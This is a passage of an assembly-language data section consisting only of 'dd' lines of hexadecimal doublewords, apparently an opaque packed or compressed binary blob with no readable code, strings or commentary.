		dd 83DD79A8h, 41BCEF9h,	5BE286FEh, 906EA7A1h, 0D5BC6FFFh
		dd 9E476B1Fh, 505A26Ch,	8D440403h, 0B410B8F2h, 0FFFF0258h
		dd 31CFFFFh, 89B0207Ch,	6C512E9Fh, 0FB525153h, 5871C223h
		dd 0FF91F77Ah, 4D8A7525h, 16558808h, 0BFFD330Bh, 3C51FFF4h
		dd 706E6B11h, 398D1A10h, 8DFDB3Ch, 6185112Fh, 0F6F35DEEh
		dd 0FFFF0C41h, 0E023BF42h, 8306310Bh, 49FF7E07h, 8B0B7804h
		dd 0A8358811h, 0FF02E23Ah, 0FFFFFF12h, 260C9501h, 17A299C2h
		dd 0C067EAFFh, 820DA961h, 9206CF06h, 1D50A26Dh,	0DFF4BC9h
		dd 0FF252CFEh, 0B3DED94Dh, 834A7F69h, 7D47FF3Eh, 955BE78Ch
		dd 5D5EFFFAh, 0B8294756h, 25536EC4h, 0BAD5D98Bh, 0FFFFA808h
		dd 6AA9FE2Dh, 77013B2Eh, 2D8D252Dh, 7894A294h, 6E4334CFh
		dd 35D847A5h, 0FFFF1375h, 83AFFFFFh, 16262A38h,	831C3FB0h
		dd 7C4DCF76h, 5ED34924h, 0A0FE08D0h, 78D92E89h,	8537F402h
		dd 0FFFF2E47h, 0F1BAF85Fh, 0E39DD9CFh, 1DA2EDC9h, 0CBD8B74h
		dd 4A08B52Bh, 0B6CB9C4Dh, 891B16F5h, 0FFFFFFFFh, 0B408D47Dh
		dd 48C0E802h, 0E02CB2CBh, 69BCB0C4h, 0FD880326h, 75D07539h
		dd 569C7C2Dh, 0A1052D41h, 0FFD5BFFFh, 0C2A87065h, 0B9F30CF6h
		dd 0E075DA4h, 166385D0h, 1D9B44Bh, 60922EA4h, 0FD0BF16Dh
		dd 4580E35Bh, 0D40DC5E3h, 0FECB21BBh, 0FFFFC16Ch, 8DE60BFFh
		dd 0C1998474h, 0DC1FC508h, 27550603h, 0D62C11C1h, 0EC027F24h
		dd 702D2A39h, 0F16FFFFFh, 0C6DD5236h, 3B228016h, 71A97DEh
		dd 76DB2F8Ah, 84BE138Bh, 2CCF8D2h, 0C2FFFFFAh, 0A847ACD8h
		dd 0E7B75705h, 0B907EE17h, 0FAAACCB1h, 0B8A95F77h, 0F8E08C0Fh
		dd 1C37FFFFh, 3C202CC2h, 0B7117758h, 2151B8B9h,	58F08000h
		dd 4B550F5Ch, 0FD01912Ch, 0F717FC1Bh, 51102FBEh, 0E9ABADA9h
		dd 3F04806Fh, 1BEE140Bh, 4BFFFFE0h, 7A870F88h, 9163D735h
		dd 99B85285h, 885FEC2Ah, 84660F70h, 0FD6F85C0h,	73697DFh
		dd 6DBC5D4Fh, 3EBBDEB4h, 0E82D7447h, 0FC5BA974h, 6FBA5FFh
		dd 3F14848h, 394039A4h,	0BA439112h, 1392758h, 0FE0DFF06h
		dd 0DDB0E471h, 0EEE34D81h, 0FA800214h, 0B50286E8h, 0FFC6FF6Fh
		dd 8BDCCBFFh, 8FBCFC7Fh, 9C2739BDh, 4806F08Dh, 24C4F704h
		dd 342DB514h, 0FD2FC0B9h, 0A16FFEDh, 1CC9CA79h,	0D0B9B6B3h
		dd 73412EABh, 1D909967h, 7D3EC4D9h, 0FFFB7E05h,	0E00640D8h
		dd 46744936h, 0BCBCB6DCh, 6C38A204h, 0FE771574h, 0FD4B12ABh
		dd 678DB135h, 23B5A5C7h, 0C002005Eh, 39117FFFh,	92C330ECh
		dd 10BA59A8h, 0DFEF2008h
		dd 2F2314BAh, 0C4FF42FDh, 34017B80h, 32101175h,	0E403B0F6h
		dd 321A3376h, 0FFFFFFDBh, 376C985Bh, 0F1024965h, 5B8641Ah
		dd 0E6967972h, 7693CB6h, 0F56F05FDh, 670C6675h,	0FFFFFE17h
		dd 58E578EDh, 0AB70B8DDh, 9C0F0F54h, 50C2CE50h,	0CC1C352Ch
		dd 3C3B30F6h, 0A17C3522h, 6D2EFFFFh, 0D0C01953h, 986F118Dh
		dd 0BFA1DCD9h, 70C13463h, 0BF0849B7h, 4BE8EFABh, 3E728F86h
		dd 5EB8E58h, 71AB530Eh,	7FF16FC1h, 179AE942h, 107441CFh
		dd 0E910340h, 4EE550BDh, 16836B7Ch, 0AFFA40F3h,	0F46A39DAh
		dd 2FFE8DFFh, 0EC5DFE14h, 2D43C9B8h, 0A7E57C2Ch, 82C76F98h
		dd 0DCA06D0Dh, 0FFFFFE05h, 85DFCCE0h, 64E889DEh, 30F08FB0h
		dd 3B757508h, 6CEBE48Bh, 0B92E0710h, 0FFFEDFFFh, 0E095F5EDh
		dd 0B905FF83h, 0FC2683A3h, 0D61EBC0Ch, 0A0965EC2h, 0B3BD50B9h
		dd 8468FE03h, 0FF5BF854h, 550735B9h, 0BC5F0224h, 38E0D78Ch
		dd 0FB138287h, 2FFFFFABh, 1AE7DCC1h, 48649900h,	9379DB0h
		dd 4FC0C1A8h, 52CD99AAh, 0B7F45F31h, 0DB787FFEh, 814CD8ECh
		dd 0B6EB4F81h, 0EC886F9Bh, 0B054D9D5h, 0FFFA251Dh, 0C5966FFFh
		dd 0A81FD55Eh, 0DB697329h, 0EFEEDEB6h, 3B4E078Bh, 48F74AC6h
		dd 5F51CE09h, 585EADE8h, 0F35C5FE2h, 0B387BF0Fh, 0C22B9911h
		dd 0FFFFF105h, 0EFD9F8D1h, 0EC9B6034h, 80A10729h, 48B10BBAh
		dd 137950C0h, 0BFFFFFFFh, 2C8C8D43h, 0AD657486h, 0DC0D02EAh
		dd 6708FF44h, 84A08E0Fh, 0A07469F8h, 0D6DD66Eh,	0FFAB2244h
		dd 0CE6FD2F6h, 0FE6DF6F6h, 9780DD44h, 3F49A108h, 8DA14887h
		dd 8B407FFEh, 76A7DE37h, 0B50EF333h, 0EAD42126h, 0FFFFB4DBh
		dd 9A9B7FFFh, 0CC2C6609h, 7051766h, 9ACDF877h, 889AE106h
		dd 0E4ABDF4h, 0A444FFCh, 8566E87Bh, 0FFFFFFFDh,	43890FC9h
		dd 6A7F4B7Ch, 4572297h,	0FB86B84Eh, 670B0E75h, 0C2C8EDD3h
		dd 0E0184775h, 0FFFF393Eh, 3F52FFFh, 883B5135h,	9B578152h
		dd 138E2D7Eh, 81972F75h, 561C5DC6h, 0EE6C81E4h,	0B7FF1A8Eh
		dd 7C16FFFAh, 0EC0A74ACh, 0CF5A98FCh, 3BBF556Dh, 0A50A6B2Ch
		dd 873E1C2Ah, 0FFFF5E93h, 0B1CDFFFFh, 8405D8F0h, 8388F5BEh
		dd 0D002C405h, 0CBCE0B9h, 5B53F898h, 146E49D5h,	7D8B6A70h
		dd 0DAB71C91h, 0DF6CFFFAh, 0E781EF8Eh, 6E1AF280h, 13391575h
		dd 8081987Ch, 6FFF56Eh,	2FA9E75Fh, 19C730E4h, 3B781E26h
		dd 0FF78EBA5h, 81DFFFFFh, 4366300Bh, 8DDF53A9h,	48AE0E17h
		dd 0B4BB4A9Ah, 0D74621EBh, 738DC8E1h, 84FD703Ah, 0A37FFFFEh
		dd 24CCD5E3h, 0CC59C63Ch, 7B0027B4h, 0ADFC6C10h, 8AC920D9h
		dd 0FF510417h, 0FE2DFFB7h, 0C92C30C8h, 6E41955Bh, 80777AF0h
		dd 0E170B610h, 43B23A6Dh, 0FFFFFFFFh, 86C1F697h, 0B40A0415h
		dd 3540C7C6h, 76FB2806h, 3FB83753h, 10EB9986h, 3740A14h
		dd 97C71D99h, 0FFFFFFF5h, 1ED25CEAh, 0D68F740Fh, 647C147Fh
		dd 7FD8E31Eh, 0D8F70E73h, 0F700D283h, 1B88B4DAh, 28940BABh
		dd 964D89F4h, 0FFFFE8A5h, 0F2DB7F6Fh, 6910097Dh, 83119786h
		dd 7483F74Ch, 0A087E25Bh, 0C30BC78Bh, 8D9421D7h, 0FFC1BFFFh
		dd 84AA17B5h, 0CFF5D6EBh, 5B497F5Ah, 90187889h,	505299C6h
		dd 8CBA585Bh, 0FE1706FFh, 30C1B689h, 2413397Fh,	5EC05F46h
		dd 880C033Dh, 0BFFF4E0Eh, 0B6EB8171h, 398CD8C2h, 7946C62Bh
		dd 0AED8CF02h, 0E23621BEh, 0FFF4BFF5h, 0CE8BD24Ch, 0E2303980h
		dd 542B7FDDh, 3001C6BBh, 4932EB40h, 56FF1166h, 858D2FFFh
		dd 4040C41Bh, 0FA2BF44Fh, 641BEB05h, 80B21FA4h,	0FE0D4908h
		dd 0F339FFFFh, 5050435h, 0D450F522h, 0C5B51B1Eh, 81FB6FB0h
		dd 0AA568662h, 0BF0F636h, 2366FFFCh, 0CCBA5245h, 0EB2DF67Fh
		dd 2B09A812h, 7402A8C7h, 0FFF5790Bh, 0BD0B2FB7h, 0EF021C1h
		dd 0C402D85Dh, 0D445C02Dh, 29270C90h, 0E8DF5764h, 0CC98BF12h
		dd 7D7F56B3h, 70635F61h, 0C84D8D13h, 0ADFFFE25h, 816D44A1h
		dd 6D111AEh, 29574D04h,	0B986DBAAh, 0FFFF9E30h,	0BC82FEA5h
		dd 563BD87Ch, 7ED7C9E3h, 0B7C1CD4Dh, 5997D906h,	909862D8h
		dd 0C0BF0106h, 26ECFFFFh, 7ACBEDABh, 46504690h,	391F7528h
		dd 68727411h, 6390AF8Ch, 0C2FF238Dh, 4A66F6C2h,	36B31598h
		dd 139B406Fh, 0A9686B07h, 56FF501Ah, 0A168FDB1h, 21318E59h
		dd 0ACA67CE7h, 0ADA2C6Dh, 0FFFF4DFAh, 0E0ACFA5Fh, 44360D65h
		dd 0B8E159B7h, 0E756228Ah, 1B6F1DA8h, 0CD8C4DAAh, 59D08AD4h
		dd 0FFFFFFFFh, 66EC4981h, 9204CB05h, 0E5B8016h,	0D3584A6Dh
		dd 468D8BE8h, 0A93007E6h, 1F8BABDh, 0EDB66CB3h,	0EAA6FA97h
		dd 7C409331h, 0B3C9202h, 7B4472C0h, 0F42F52FFh,	40561B73h
		dd 3866DB36h, 6FC2E52h,	68243E6Ch, 0FFFF1A85h, 9305203Dh
		dd 213D3F19h, 0FE7FAAB1h, 223D0E06h, 0D0BEE59Ah, 8199FE05h
		dd 0DA297170h, 68420F9Ch, 157224B9h, 0FFF56F21h, 4771CBB7h
		dd 774564AAh, 2F568BF9h, 5CE28705h, 0CA4A37F3h,	0FFFFFFADh
		dd 17FC3953h, 4E39B56Eh, 3DB6B21h, 0DA030CC1h, 0EE72CB3Bh
		dd 4ADFB710h, 2F02129Bh, 0C83BE854h, 40C7A373h,	0FF6C28B7h
		dd 97FFFFFFh, 0D4AD0858h, 0FC68349Fh, 0FB83248Bh, 64ED0905h
		dd 8BAC1ABh, 110406Ah, 4D68DE05h, 8DFF60B5h, 360FFFEh
		dd 8A08897Bh, 0A3190076h, 0ADB88518h, 0EF499Eh,	43D0578h
		dd 0FFFFF5D1h, 0D1BFE25Fh, 6B24BE4Bh, 5C7EB0C9h, 0DE396483h
		dd 8B98CFDh, 421D1E18h,	0FF8DDF03h, 3B90FFFFh, 0D6E27CD3h
		dd 0BCA86E08h, 4A8E3D00h, 79FB9827h, 6F7564E9h,	30836446h
		dd 0FFFE97FFh, 0F20F1290h, 81CFC873h, 84913D4Eh, 0E2933D3Eh
		dd 2E851CFCh, 1E828D3Dh, 0DFFF8F3Dh, 0CF35FB60h, 0DF8621CFh
		dd 14B08792h, 644C107Dh, 0BED0D35Dh, 0FFFF2B52h, 7347FFFFh
		dd 0C51E434h, 5CAD9914h, 38605805h, 0D2EA21D5h,	5C81F7B9h
		dd 6F8247D5h, 9B358B35h, 0FFE90BDFh, 1BF0FF02h,	8FBE057Ah
		dd 20B68ADFh, 2E8E0877h, 40BDA8D6h, 0FFFF491Bh,	6B227FFFh
		dd 0AAE50927h, 0F965808Bh, 4FF74002h, 1B7C743h,	0D3EB4646h
		dd 0F88072Ah, 2DE7119Ah, 0FFFFFFFFh, 0B592AA53h, 655B8EE7h
		dd 4BD49F5Dh, 0F3C2EFE0h, 8C331875h, 682D3C47h,	3D3DB706h
		dd 0AFCF5647h, 0F52FFFFFh, 0B6B7AB45h, 0EA723AE0h, 0B8A8046Ah
		dd 0FB380A3Dh, 683DB296h, 0A1ACE0D6h, 0FFFFEADFh, 5540CB44h
		dd 2B7D30AAh, 0E88B7814h, 2F7E24E8h, 0DE55016Ah, 3B2D8EEFh
		dd 0FF1BFFFCh, 74072BC3h, 5055564Ah, 0DEA8C64h,	52650053h
		dd 4B2F896Ch, 1E38F503h, 0BFFFFF8h, 0E2E4C17h, 893BFEABh
		dd 1F890A1Dh, 0F2C005C7h, 0EB724B59h, 0FFC3CD20h, 0D65FFFFFh
		dd 7ABA0A72h, 0E423C034h, 8E53DF95h, 0CF23545Ah, 5AF10EC9h
		dd 0DDF2A214h, 9A2538B0h, 5BFFFFF8h, 15A12BE8h,	5685BF48h
		dd 9E5A1380h, 0FC251033h, 3601B8B3h, 0BFBF22AAh, 0C737C0B1h
		dd 0C507FF3Ch, 0E8DB8322h, 89420288h, 0FFFE37FAh, 213B8A36h
		dd 0C3ED06D6h, 1E134B18h, 3834040Bh, 0B40CD774h, 0FC361773h
		dd 955FFFFFh, 5FDB845Dh, 0DE327470h, 0F4477836h, 0FB80A975h
		dd 904050Ch, 1E029F75h,	0D4BFEF45h, 0C6F65B46h,	0B3FA30AAh
		dd 0E9BC0BD1h, 0FFFFFFE8h, 5B3C16B6h, 0D610A160h, 0E383F396h
		dd 336F918h, 83D0A10h, 50A945A0h, 7F103E28h, 125FFFFBh
		dd 4A1ED1EFh, 4676F7C1h, 745C2241h, 3826ADF9h, 9AB54A01h
		dd 6BAF7466h, 55BFA5F6h, 41226996h, 0F10DEBF0h,	156EC7C4h
		dd 0FFFFFFFDh, 8E9D1FFh
		dd 27C4912h, 0BC36C65Ch, 0C9D042BBh, 0FDCBF175h, 8A35574h
		dd 0E97415B6h, 47744B82h, 0FFFFFD1Bh, 7B283DB0h, 53802B94h
		dd 0CDACE417h, 290D3B5Ch, 0E93DDCDEh, 671F6E73h, 0FFFFFFFCh
		dd 1A180322h, 0B74B0E54h, 8D274663h, 76B2Ah, 0FB9A1531h
		dd 3C1030F8h, 0A52AC9F7h, 0D6FFAC11h, 2BCA2FFFh, 0CC002083h
		dd 8A11CBECh, 8AD7895h,	0A138F1E5h, 0C1D88F8h, 0FFFFD1BFh
		dd 0A1AB4177h, 251FD4EDh, 5EE52D1Ah, 50183807h,	20A50A21h
		dd 308D886Dh, 0FFFFF16Fh, 0F27DEAB6h, 3BA3618Ch, 4C3830EAh
		dd 733F123Dh, 0F8956A4Ah, 4273F4DEh, 0FD1A2DC2h, 2E7C19Ch
		dd 0B2EF878Dh, 4BA33634h, 0D8F8DC4Bh, 0E11CDB07h, 570F3E29h
		dd 0FFC2506Bh, 7366FFD2h, 5CA3485Fh, 0AD606F69h, 4D171C2Eh
		dd 65B5E3ECh, 0FF12DC20h, 95FFFF42h, 0F09842F3h, 0FBF14BFEh
		dd 6AC3FFDBh, 0FF755D02h, 246855D7h, 6FFA35Eh, 9C8DFFFFh
		dd 4222A922h, 0B91242EFh, 17A3C5CDh, 0B1A1D39Ah, 633D8041h
		dd 0A5FF1C4Bh, 59ACFFFFh, 8FED390Fh, 0D91E5BE0h, 974A05DBh
		dd 0CC5032Ah, 4406F975h, 0F2D56A82h, 0FFB7FF02h, 0E1405BFAh
		dd 53A24B12h, 0A9206D6Eh, 0F751D771h, 3BE83A34h, 0FFFF4235h
		dd 54F657FFh, 289F1980h, 72881C23h, 959A55Dh, 0B2402524h
		dd 0E8DF800h, 0FA37E05Dh, 39222ADBh, 94ED038Bh,	32A6ACB7h
		dd 0FF58EBC3h, 0EA5FF02Fh, 4A80753Ah, 116CEE43h, 0EDFF1ABBh
		dd 7D946EDBh, 7C3840DDh, 0FFC5BFFFh, 78F604FBh,	0B59A440Ah
		dd 91816B40h, 0E99F0C8Ah, 10B48C42h, 61A22611h,	0FFFF5285h
		dd 1F162833h, 153FA8Ch,	68546A65h, 0A1C076F0h, 0FFF46CA2h
		dd 0DFF8Dh, 495B4606h, 7D16A02Eh, 2F1A565Eh, 0F0F7787Bh
		dd 0C0A3DC17h, 0A85FFFFEh, 888DE579h, 0AA2D0700h, 294E6B41h
		dd 2F367881h, 66FCBB7h,	0FD5BFF05h, 878AC37h, 25030024h
		dd 0DB8260Ah, 6B10B7EFh, 0C181300Dh, 0FFFD1BD2h, 63D3E92Ah
		dd 360B8051h, 6E5DCE7Dh, 7D12D6D0h, 0FF1BF254h,	8DFEDF1Bh
		dd 6DDCED84h, 8263DD0h,	6001F828h, 0A615C96Fh, 82845280h
		dd 0FFE25FE2h, 0AEF63DE2h, 0C8D4D8Ch, 350180B5h, 19010382h
		dd 0FF90C35Bh, 8FDFFFFFh, 3EC7CACh, 246080FBh, 81118480h
		dd 72C280C2h, 958846D6h, 39B20AFEh, 44EBA67Ch, 0FFFFF85Fh
		dd 80BD5609h, 7E96C721h, 28BE8B6Dh, 8C474D1h, 0FC51562Ch
		dd 0FCBBCC60h, 6FF5A84Bh, 0B108FE97h, 0A0E01551h, 3C818D61h
		dd 0F82C5E03h, 0E68323B7h, 6FEB7FFFh, 338F615h,	8B703829h
		dd 300691DBh, 0EF044688h, 41700043h, 0FFFAF25Ah, 0ED42FFFFh
		dd 4EA64703h, 1BFF9C46h, 43ED8A37h, 21042A83h, 8BA1937Ch
		dd 0BEC623A8h, 0B3541F3h, 0D37F52Dh, 6D2A0B69h,	800686FFh
		dd 0BFFC8061h, 72EBFFC5h, 0FA8149C6h, 5E0A1701h, 4D58F62Fh
		dd 156648C3h, 0C7EA0737h, 1BD5A97Fh, 0B0765486h, 5543DD15h
		dd 3DB9573Fh, 0FFFF897Fh, 349BC9E2h, 45793E89h,	14D77502h
		dd 90FD1B4h, 0E6BF7788h, 9508595Eh, 0FFF1BFFFh,	5A913774h
		dd 1006C727h, 0EC0EDA97h, 678C69B6h, 0C116CC9Ah, 0E457DC29h
		dd 0F8B71165h, 94CAFDBFh, 73BC0230h, 0AF9C1D99h, 4750B8FDh
		dd 0F604BF27h, 0ADFF51A8h, 9EC7FC2Fh, 0E7920500h, 585823ACh
		dd 0A302A104h, 91FB67Bh, 0FFFFC0CAh, 0BFBBFFFFh, 0BB40E64Eh
		dd 0CA5BB31h, 9A381811h, 0BAE0102Dh, 0D0F709FBh, 0EB2254A3h
		dd 2B1B5660h, 0FFFFF000h, 3D2CFFFFh, 0A92AFCD4h, 67A8C5F9h
		dd 7BDF0D8h, 0FDB4E060h, 0F027DB34h, 33F445DCh,	0E983330Ch
		dd 2FBB2EEh, 0F7CDFFFFh, 0EB594FBEh, 0C9D8850Bh, 78D7ED7Ah
		dd 0CC1110E0h, 28D6F77Bh, 45BFFD05h, 170511EBh,	8C49105Eh
		dd 7612FDB5h, 77FFFFF0h, 3DE4FF95h, 0A2E95023h,	91ECEE2Ch
		dd 0C51C1005h, 1D3D15DBh, 0A4278A06h, 0BFE0DDBFh, 0FB9351E5h
		dd 909AA45Bh, 4B53682Bh, 0E9210376h, 0DF90535Fh, 0AA0DF415h
		dd 9276F456h, 88DBF0B6h, 0DFFFFFFFh, 5DA506EAh,	0AA25BDE8h
		dd 0B87D1C14h, 576D756Fh, 300E12C0h, 0FE3AF75Bh, 0EFFFFEDh
		dd 70475C04h, 31C38168h, 8C67005h, 0AF9B8770h, 0D7DFFCCBh
		dd 0CD14A349h, 0FFFC94BDh, 10CCA5FFh, 15C22A9Ch, 41BA4051h
		dd 0F249303Eh, 0AF01661h, 1E242735h, 0B7FFFF47h, 53EA176Fh
		dd 10C7BDAh, 7FF0A6h, 11921514h, 7F90060h, 94F7BA29h, 97FFFE9h
		dd 0C73B37E0h, 5E96CF9h, 410DE2ECh, 0AEA3CEFAh,	0FFA08458h
		dd 0B4FF02FFh, 705A860Fh, 21458201h, 4B862FEBh,	903F9ABCh
		dd 3D173D3Ch, 0FF4387EFh, 4FFFFFFh, 7D813A77h, 4E10FDCh
		dd 79296A18h, 0C35A4B37h, 0E0E064B8h, 44271777h, 703B884Dh
		dd 1B119E75h, 75FFFFFDh, 53927F7h, 1F766818h, 0E8862D56h
		dd 0B9983D3h, 5E2514ADh, 0FF37C413h, 9CFF82A5h,	3FFBC975h
		dd 0ECA2FBE1h, 0B5B74544h, 0E47FFEAh, 17FFC524h, 81B0398Ah
		dd 3F7645Bh, 8C362F8Bh,	0FFEB392Dh, 0C2BFFFFFh,	0BE4AD810h
		dd 52401E62h, 0A6F4CFD1h, 40BCF91Bh, 0A704A608h, 45482788h
		dd 418EEBBh, 6B7FFF44h,	0A66803FFh, 0E40072CFh,	0BA011A05h
		dd 4340B06Eh, 3D806EBh,	0A69A6DD0h, 0FFF5BF69h,	0B8C0C8FFh
		dd 0BFA6A8B0h, 0CF152010h, 0A9FF8B6Ch, 0F47DD368h, 0A72CEA0Ch
		dd 5221E4CFh, 7FFFFEBh,	40A89020h, 0CEFDD7A8h, 2CA79423h
		dd 0C80BA490h, 0A550F203h, 0B5AADDBEh, 39C4161Ah, 345B0504h
		dd 17ABD74Dh, 60BA5FAh,	5C54034Ch, 0D34DA21Eh, 0FEEDBEB2h
		dd 0CFA8877Fh, 2109DD7h, 0A805A023h, 0B8120003h, 0C41310CCh
		dd 85FFBC0Fh, 0F04905A2h, 54AE3211h, 0D3B86A8Dh, 0BE829B05h
		dd 9296BAD0h, 8F0D5AA2h, 0F4844FCEh, 1AEA5E0Dh,	0A9ECF546h
		dd 68E1633h, 4B76C462h,	0C514BF41h, 8BF44045h, 37E1C3FAh
		dd 33F6FD05h, 48DDE819h, 3B74D7F3h, 6A2DBD43h, 521FD2FBh
		dd 0BFB36FD0h, 51DC0B53h, 0FFFF37BCh, 6CC0A0A5h, 983FBACCh
		dd 2AF7ABBBh, 0BB9EDBAh, 0D0CBB0Ch, 0B3414BFEh,	0DE00500Ch
		dd 5256058Fh, 0FF414DB5h, 0ABF40FFh, 0BA0441E3h, 0C7737C17h
		dd 6F337401h, 4B48A96Ch, 60FFFF1Bh, 23ADC047h, 70C21868h
		dd 7D75EF10h, 0AD112685h, 57B755Dh, 0D7E8217Dh,	497DE3C1h
		dd 29104C72h, 9937FFE8h, 0B2444302h, 28281865h,	0ABF5078Eh
		dd 0D092F137h, 937FD052h, 6E07D233h, 907111FDh,	0C4BE36A9h
		dd 51728C52h, 0C58F3570h, 0BFFFC966h, 0E617DFD5h, 14FD1495h
		dd 0AA2BAC65h, 0A8AB1C40h, 0FEC86AFBh, 9E3D5DAAh, 52FFFE82h
		dd 0CB06AC51h, 6860490Eh, 0FC48FFCFh, 216DCB97h, 8293FF41h
		dd 5F6B7C69h, 5CF0FF05h, 0FF8B6818h, 0DB2B674Dh, 2FFD09B0h
		dd 2B2504E9h, 0FFFE7E88h, 735F29FFh, 6F067105h,	0A8B752C3h
		dd 76182857h, 21A27C7Fh, 5005F0C0h, 829BFF41h, 51457E5Ch
		dd 0FB69A37Fh, 1BADC22Dh, 5948FF41h, 5ECC081Fh,	224F483Fh
		dd 0F42FFFC3h, 839558FFh, 0A105F450h, 52AA9267h, 0C5FAF7C1h
		dd 0F8655521h, 57AA89E7h, 0E2DFFFC1h, 9E78BFFh,	463AFB0Ch
		dd 554CDF3Ah, 19501337h, 265982D2h, 40F9087Ch, 0FFFEDEE3h
		dd 0D110A0FFh, 0A01FE8E2h, 556582A5h, 8D2DACC3h, 7B891055h
		dd 0BD08013Bh, 0F336CCD1h, 8297FFFFh, 5D5E5405h, 31BA0B59h
		dd 5162CE51h, 0E1E4A2CBh, 0FF5541EEh, 2FFFFFFh,	4A106A7Bh
		dd 0F8511C0Dh, 0FE58A16Fh, 3FAFAE5Bh, 8DDE2BDFh, 0FD83046Bh
		dd 137A9378h, 0BF667B9Fh, 0C9F06FC4h, 0C859F58Ch, 0A2A5074Eh
		dd 0F490342h
		dd 0FF7841D5h, 0C6FFFFFFh, 0AB501072h, 17D22795h, 46DD2163h
		dd 43161015h, 5C482F72h, 2FBC178h, 0C6983C15h, 0FF4D6084h
		dd 0F4FFFFFFh, 0E77FFBDh, 19578089h, 0B1556C5Eh, 8959A093h
		dd 0AF501D52h, 0B204CF59h, 0B45989Eh, 0FF5D0783h, 0F6FFFFFFh
		dd 0C58A3AA8h, 18D62F44h, 0D050AA8Eh, 6C90D39Dh, 6B434868h
		dd 21617070h, 0E2E501B9h, 0FF9BBF2Dh, 87FFFFFFh, 9C86F8Bh
		dd 2A29A59Ch, 0C1118EE0h, 0A6F1717h, 44EF4859h,	8D9321FDh
		dd 606A58B7h, 0FFDF117Bh, 96FFE17Fh, 282CAB72h,	0E8720647h
		dd 3E30F45Fh, 0F849906Bh, 0A30B7840h, 73755CC7h, 0FF42FFD0h
		dd 9E07EBD2h, 9E4F67C2h, 2D686F18h, 0E6DFF3F4h,	0AD1CCA84h
		dd 77897FFFh, 424A34Eh,	86AD1428h, 0F4182C3Dh, 0DD0AB6A5h
		dd 0A3BAB7D7h, 0AE5039FFh, 68E7F103h, 0E29551D8h, 0C3830CC0h
		dd 0BFFFFFBh, 0EF8DA6FFh, 3B5E9A03h, 3720A6C1h,	50B24B7Ah
		dd 0A32887C3h, 37B06820h, 5B1096C4h, 0A5FFFFFDh, 0FB15D802h
		dd 414B7F0Bh, 744CF01Bh, 59D68B15h, 0E29122CBh,	0FC08E9D2h
		dd 5446FFD6h, 118FE144h, 28F8B85Dh, 2A9F91C5h, 7F5FAABEh
		dd 5BEDFBh, 3504A19Eh, 0D38B5CFFh, 14E73608h, 0DFC63F3Fh
		dd 0FFFFF55Ah, 0AEDDBDFFh, 83495AEBh, 4D20FE8h,	482B7406h
		dd 0C5652004h, 0ADD61C74h, 1F7CFDF3h, 25FFF0EBh, 4928AC6Eh
		dd 0B24BE2Dh, 0BD483524h, 2CBE0AF3h, 25FFFF04h,	512C2CBEh
		dd 59C8527Bh, 52011E43h, 0E6113A26h, 6C106D10h,	0BCBA8BFh
		dd 63FFFA5Fh, 0CDE40B63h, 0F5EAA710h, 6FD70DE5h, 4508A92Ah
		dd 0FF0453DCh, 75FFFEA5h, 6FBB6C1Bh, 3A4F8BC5h,	604789D4h
		dd 64CB7517h, 0BEA0E7C5h, 0FF47C7D0h, 64FFDBFFh, 0AF2E119Ch
		dd 427A8668h, 0A96228E8h, 0E15BFB6h, 1039CA03h,	0A8DC737Dh
		dd 12BB02D1h, 9156FEADh, 4111AB5Ch, 0CCE370A1h,	0A37FFFFFh
		dd 2FB7CF5Dh, 0F49E2F7Ch, 640E1F45h, 0A555FF53h, 547219EBh
		dd 0FF905130h, 368DDBFFh, 38A4D8C1h, 0B2981B00h, 11B8D61Dh
		dd 0A06957Ah, 66338D0h,	0FFE25DD4h, 90664FFh, 0BD148A34h
		dd 94013C9h, 221AA781h,	518064E6h, 0FF158F3Bh, 785BFFFFh
		dd 0F3FF045h, 0F288AE85h, 8655FA9h, 0E0704DEAh,	1194459Eh
		dd 0FCD379C0h, 2FFFFFE9h, 79074C6Dh, 0FBDA0263h, 0CD7DC46Eh
		dd 0A317EC24h, 901D1C4Fh, 7A14C991h, 0D88B7FE1h, 34E24CF7h
		dd 0CE0CCA59h, 1E96D5F4h, 0FF83CA92h, 2A5DFFFh,	46CDBCA0h
		dd 3466CD9Bh, 7454DE6Ch, 56D81B61h, 1517A429h, 0FFFFFF34h
		dd 15A37B7Fh, 0A86404DEh, 0D397976h, 0D7E76227h, 9C1F711Bh
		dd 5B0C7754h, 0C4216DC1h, 0FF74CD59h, 56FFA17Fh, 97A5526Bh
		dd 0C0BF7822h, 63E7513Ch, 56CB004h, 6D001E0h, 7CBC0308h
		dd 44FFF06Bh, 33750186h, 0D95D6EA3h, 959ECF0Ch,	0DB19AEh
		dd 25FFFFA5h, 8EA565Ah,	0EDB30504h, 0E4A13B77h,	315F453Bh
		dd 6F80317Ah, 28FFFFF1h, 0BB26E575h, 0F92EA895h, 0F5A11DDEh
		dd 0C908131Dh, 539AE6CCh, 5244A51Eh, 17F85FFFh,	82B25EB3h
		dd 6BC12073h, 35116629h, 914C3B05h, 0ADFFC06Eh,	3F3BD5BFh
		dd 801E1B77h, 16120D22h, 0A530895Eh, 2D23621Bh,	0CFFE2DCh
		dd 8B3DB1DCh, 0F7042819h, 0D9A67E2Dh, 8D1A278Bh, 1C4BFFFEh
		dd 0FDF8754Fh, 7F056DB2h, 880E8AEEh, 746420Ah, 0FFFFFADBh
		dd 0EB5BF3FFh, 226EB5ACh, 59902247h, 989D40F1h,	0B3B4EBC1h
		dd 83B6BA5Fh, 14609FC2h, 0FFFF2557h, 339FDFFFh,	6A283AF1h
		dd 0F651E12h, 516EC8BBh, 860C7D58h, 4BB13BD5h, 1E839DD5h
		dd 0FF14CAEBh, 0D056FFFFh, 56B7FD0Ah, 0E544D185h, 8A0F751Bh
		dd 4008880Ah, 0D64EA42h, 0FF1E88D3h, 0F4FC5BFFh, 0D74F080Eh
		dd 4D9DB3BEh, 23CEE37h,	2F0A39Dh, 338B5ED4h, 0FF6A5A31h
		dd 50FFFFFFh, 2D76D688h, 4B580611h, 0B84C8DA1h,	13138790h
		dd 0CB23D882h, 0B926653h, 13FC1931h, 0FFC34972h, 2FD02FFh
		dd 0C019C317h, 7C1E6D74h, 0A5AD81Eh, 7E028B6Eh,	0A1DD03C9h
		dd 0EA5FFF11h, 0A0602BFFh, 8406C976h, 312B3010h, 68885CB3h
		dd 0EF5E0920h, 14248DA4h, 0B7FA9711h, 0F00CAAFEh, 0E2BA1D45h
		dd 0E7563225h, 6E0B846Ch, 0FF563ACEh, 71FF12FFh, 0E0171456h
		dd 0F6B5F350h, 27CB2581h, 775835EEh, 22878134h,	89587636h
		dd 7A12FFE8h, 48C74405h, 0CFC8E4F3h, 0F8BDC700h, 1870BF6Fh
